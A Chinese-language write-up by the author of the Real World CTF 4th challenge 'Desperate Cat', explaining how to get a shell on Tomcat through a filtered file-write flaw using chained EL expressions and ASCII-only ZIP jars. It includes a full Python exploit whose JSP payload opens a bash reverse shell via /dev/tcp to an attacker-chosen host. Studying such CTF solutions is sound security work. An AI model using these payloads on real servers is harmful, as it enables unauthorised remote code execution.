RWCTF 4th Desperate Cat Writeup

 

概述

在 Real World CTF 4th 中,我很荣幸再次作为出题人参与出题。我出了一道名叫Desperate Cat 的题目,考察的是在严苛条件下 Tomcat Web 目录写文件 getshell 的利用。

Desperate Cat 的出题灵感源自于我大哥 Noxxx 在某次渗透攻防项目中碰到的实际问题场景。但当时由于攻防项目节奏紧张,而且还有其他事情要处理,这个问题我们在当时并没有解决。在那之后我空闲下来时,定下心来再思考,终于是给搞定了,因此把它做成了 Real World CTF 题目。

作为读者,如果你没有参与此次 Real World CTF 4th,但是对 Java Web 漏洞利用感兴趣,那么不妨往下阅读,我相信你或多或少也能从其中收获到一些自己的思考和启发。

 

游戏开始

Desperate Cat 和它改编来源的原系统漏洞场景是这样的(我在题目中基本上照搬了原系统的相关处理代码,尽可能地做到情景再现):

1.服务端中间件是 Tomcat,可以往 Tomcat Web 目录下写文件;
2.写入的文件名后缀可控、没有检查;
3.写入的文件名前缀不可控,会被替换为随机字符串;
4.可指定文件的写入目录,且写入文件时如果文件所在的目录不存在,会递归进行父目录的创建;
5.写入的文件内容部分可控,且以字符串编码的形式写入(而非直接传递的字节流),并且前后有脏数据;
6.写入的文件内容里如下特殊字符被进行 HTML 转义:

& -> &
< -> &lt;
' -> '`
`> -> '
" -> &quot;
( -> (
) -> )

要解决的问题就是,在这样的场景下,怎么 getshell,拿到服务器权限?
P.S. 没有参加过 Real World CTF 4th 的读者建议看到这里不妨稍微暂停一会,先自己思考一番,如果是你要解决这个问题,你准备怎么做?

 

棘手的字符转义处理

不难发现,这个问题棘手的地方主要是在于太多关键的字符被转义处理了,其中最重要的两类字符是尖括号和圆括号。

如果只是不能用尖括号,我们可以很轻易地通过 Tomcat 支持的 EL 表达式(Expression Language)来解决。

由于 EL 规范里规定默认会引入 java.lang.* 下的包,所以可以直接取 Runtime 类执行命令:
${Runtime.getRuntime().exec(param.cmd)}

当然你也可以通过反射的形式来调用其他类的方法。
EL 的解析不依赖于 JSP 文件的代码标记 <%…%>,因此可以规避尖括号。不过需要 web.xml 开启 EL 解析的支持才能执行,但这个问题不大,从 web.xml 2.4 规范版本开始后,默认都已经支持 EL 了。

如果只是不能用圆括号,问题也很简单,由于 Java 代码编译解析器会识别 Unicode 形式的编码,所以你可以在 JSP 代码块里直接一股脑把所有字符 Unicode 编码:

<%\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0063\u0061\u006c\u0063\u0022\u0029\u003b%>

然而现在的问题是尖括号和圆括号都用不了,那要怎么办呢?

 

Expression Language Chain

我先说下我的思路。在我思考这个问题时,我的想法是从 Tomcat 对于 JSP 以及 EL 的解析执行上寻求突破:
1.看 Tomcat JSP 中是否支持类似于 EL 这类具有动态执行能力的其他语法特性;
2.看 EL 表达式中是否支持某些特殊编码,利用特殊编码将要转义的字符进行编码来绕过;
3.看 EL 表达式中是否可能存在二次解析执行(类似于 Struts2 中之前表达式二次渲染注入的漏洞);
4.在不使用圆括号的情况下,通过 EL 表达式的取值、赋值特性,获取到某些关键的 Tomcat 对象实例,修改它们的属性,造成危险的影响;
经过许久的尝试,最终我成功用第4个办法完成了利用,从 JSP EL 中自带解析的隐式对象出发,通过组合4个 EL 表达式链,完成了 RCE!

修改 Session 文件存储路径

默认配置下,Tomcat 在关闭服务的时候,会将用户 Session 中的数据以序列化的形式持久存储到本地,这样下次 Tomcat 再启动的时候,能够从本地存储的 Session 文件中恢复先前的 Session 数据内容,避免造成用户 Session 还未到期就由于服务重启而失效。

Session 持久化存储文件的默认路径是在 work 应用目录下的 SESSIONS.ser

而通过执行以下 EL 表达式,就可以做到修改 Session 文件的存储路径:

${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}

由于 EL . 点号属性取值相当于执行对象的 getter 方法,= 赋值则等同于执行 setter 方法,因此这段表达式等同于执行:

pageContext.getServletContext().getClassLoader().getResources().getContext().getManager().setPathname(request.getParameter("a"));

然后再通过执行如下表达式,往 Session 里写数据:

${sessionScope[param.b]=param.c}

这样就可以做到让 Tomcat 正常停止服务时,往一个任意路径下的文件写入部分内容可控的字符串(这部分是不会有特殊字符过滤转义处理的):

?a=/opt/tomcat/webapps/ROOT/session.jsp&b=voidfyoo&c=%3C%25out.println(123)%3B%25%3E

修改 Context reloadable

除了 Tomcat 停止服务的时候会做 Session 持久化存储外,还有别的办法吗?
其实是有的,通过查阅官方文档发现了这样一段话:
Whenever Apache Tomcat is shut down normally and restarted, or when an application reload is triggered, the standard Manager implementation will attempt to serialize all currently active sessions to a disk file located via the pathname attribute. All such saved sessions will then be deserialized and activated (assuming they have not expired in the mean time) when the application reload is completed.

因此根据官方文档可以看出来,除了服务停止或者重启,还可以让部署的程序触发 reload 来做到。

让 Tomcat 部署的程序进行 reload 需要满足两个条件:

1.Context reloadable 配置为 true(默认是 false);
2./WEB-INF/classes/ 或者 /WEB-INF/lib/ 目录下的文件发生变化。
由于 Context reloadable 默认是 false,要动态修改它可以通过执行:

${pageContext.servletContext.classLoader.resources.context.reloadable=true}

它等效于:

pageContext.getServletContext().getClassLoader().getResources().getContext().setReloadable(true);

/WEB-INF/classes/ 或者 /WEB-INF/lib/ 目录下的文件发生变化具体指的是满足以下任意一项:
/WEB-INF/classes/ 下已加载过的 class 文件内容发生了修改;
/WEB-INF/lib/ 下已加载过的 jar 文件内容发生了修改,或者写入了新的 jar 文件。
由于场景中的文件写入漏洞本身可以指定目录,因此通过往 /WEB-INF/lib/ 下写入一个任意的后缀名为 jar 的文件,哪怕内容无法被正常解析,在 Context reloadable 为 true 的情况下就会触发 reload。

通过 Context reload,就可以实现在不重启的情况下写入 Session 数据文件到任意路径,得到 webshell。

修改 appBase 目录

问题解决了吗?其实还没有。
通过前2步,当 Context reload 时,尽管确实会将我们构造的 Session 里的恶意数据写到本地 JSP,但由于我们写入的 Jar 文件不合法(前后存在脏数据),应用 Context 会 reload 失败,导致部署的这整个应用直接 404 无法访问!

${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}

如果程序已经挂掉了,那写入的 webshell 也没作用了,毕竟都已经访问不到了。
有办法补救吗,当然!在触发会造成网站瘫痪的 Context reload 之前,我们可以先通过执行 EL 表达式去修改整个 Tomcat 的 appBase 目录:

${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}

它等效于执行:

pageContext.getServletContext().getClassLoader().getResources().getContext().getParent().setAppBase(request.getParameter("d"));

appBase 属性表示所有存放 webapp 的目录,它的值默认是 webapps

假如我们通过 EL 表达式把它的值修改为系统根目录 / ,这时候会发生一个很神奇的事情,就是整个系统盘全部被映射到 Tomcat 上了,整个系统文件资源你都可以直接通过 Tomcat 去访问:

这样的话,就算原来的应用因为 Context reload 失败而导致 404 失效,还有其他的目录都可供访问。只要把 Session 持久化的存储文件写到任意一个其他目录就好啦。
Exploit
最后将所有的 EL 表达式集合起来就得到了:

${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
${sessionScope[param.b]=param.c}
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}

也就是 Desperate Cat intended solution exploit:

#!/usr/bin/env python3

import sys
import time
import requests

PROXIES = None

if __name__ == '__main__':
target_url = sys.argv[1] # e.g. http://47.243.235.228:39465/
reverse_shell_host = sys.argv[2]
reverse_shell_port = sys.argv[3]

el_payload =** **r"""${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
${sessionScope[param.b]=param.c}
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}"""
reverse_shell_jsp_payload = r"""<%Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "sh -i >& /dev/tcp/""" + reverse_shell_host + "/" + reverse_shell_port + r""" 0>&1"});%>"""
r = requests.post(url=f'{target_url}/export',
data={
'dir': '',
'filename': 'a.jsp',
'content': el_payload,

},
proxies=PROXIES)
shell_path = r.text.strip().split('/')[-1]
shell_url = f'{target_url}/export/{shell_path}'
r2 = requests.post(url=shell_url,
data={
'a': '/tmp/session.jsp',
'b': 'voidfyoo',
'c': reverse_shell_jsp_payload,
'd': '/',
},
proxies=PROXIES)
r3 = requests.post(url=f'{target_url}/export',

data={
'dir': './WEB-INF/lib/',
'filename': 'a.jar',
'content': 'a',
},
proxies=PROXIES)
time.sleep(10) # wait a while
r4 = requests.get(url=f'{target_url}/tmp/session.jsp', proxies=PROXIES)**

 

ASCII ZIP Exploit

制作 ASCII ZIP Jar

Desperate Cat 最终由 WreckTheLine 和 Sauercloud 这两个战队的选手解出,出乎意料的是,他们用的办法核心思路和我的想法并不一样!
由于程序对一些关键的特殊字符做了转义处理,而且前后都有脏数据、文件内容以字符串编码的形式写入,所以我起初在思考问题的时候想当然地觉得写入 Jar 文件到 /WEB-INF/lib/ 目录下去加载执行是根本不可能的。但 WreckTheLine 和 Sauercloud 他们证明了这一点其实是完全可行的!

其实之前已经有人研究过如何使用 [A-Za-z0-9] 范围内的字符去构造压缩数据:

https://github.com/molnarg/ascii-zip
https://github.com/Arusekk/ascii-zip

WreckTheLine 和 Sauercloud 他们参考了相关的构造算法,构造出了所有字节都在 0-127 范围内、且不出现被转义字符的特殊 Jar 包,使得即使前后都有脏数据、且内容以字符串编码形式被写入,Java 仍然会认为它是一个有效的 Jar 包。

修改 Context WatchedResource

写入有效的 Jar 包后仍然要考虑让应用重新加载的问题,这样才能引入 Jar 包。对于这个问题,WreckTheLine 和 Sauercloud 战队的选手也没有借助 EL 表达式,而是借助修改 Tomcat Context WatchedResource 来触发:
WatchedResource – The auto deployer will monitor the specified static resource of the web application for updates, and will reload the web application if it is updated. The content of this element must be a string.

在 Tomcat 9 环境下,默认的 WatchedResource 包括:

WEB-INF/web.xml
WEB-INF/tomcat-web.xml
${CATALINA_HOME}/conf/web.xml

Tomcat 会有后台线程去监控这些文件资源,在 Tomcat 开启 autoDeploy 的情况下(此值默认为 true,即默认开启 autoDeploy),一旦发现这些文件资源的 lastModified 时间被修改,也会触发 reload:

由于应用本身没有 WEB-INF/tomcat-web.xml 配置文件, 因此通过利用程序本身的写文件漏洞,来创建一个 WEB-INF/tomcat-web.xml/ 目录,也可以让应用强行触发 reload,加载进先前写入的 Jar 包。

最后一步

进行到这里,对于 WreckTheLine 和 Sauercloud 这两个战队的选手而言,已经能够写入有效的 Jar 包并触发重新加载,也就意味着只差最后一步了。

Sauercloud 战队的选手终于在最后借助了 EL 表达式。先构造 EL 表达式如下:

${applicationScope[param.a]=param.b}

然后发送请求:

?a=org.apache.jasper.compiler.StringInterpreter&b=Pwn

相当于执行了:

pageContext.getServletContext().setAttribute("org.apache.jasper.compiler.StringInterpreter", "Pwn");

之后再访问 JSP 进行表达式解析的时候,就会触发类加载,加载先前写入在 Jar 中的恶意类,完成 RCE:

而 WreckTheLine 战队的选手自始至终都没有借助 EL 表达式,他们把 JSP Webshell 放在先前构造的 Jar 包里的 META-INF/resources/ 目录,这样就能直接通过 Web 访问了!

 

后记

这道题目算是我目前解决过的最复杂的问题之一,无论是我自己尝试解决这些问题的过程、还是赛后看到其他选手的解题办法,我都从中收获良多。也希望参与过比赛的选手或者作为读者的你们能从中有所启发 ?

 

参考资料

https://jakarta.ee/specifications/expression-language/4.0/jakarta-expression-language-spec-4.0.html
https://docs.oracle.com/cd/E19316-01/819-3669/bnajh/index.html
https://tomcat.apache.org/tomcat-8.5-doc/config/manager.html
https://tomcat.apache.org/tomcat-7.0-doc/config/context.html
https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html
https://github.com/molnarg/ascii-zip
https://github.com/Arusekk/ascii-zip
https://tomcat.apache.org/tomcat-9.0-doc/config/context.html

(完)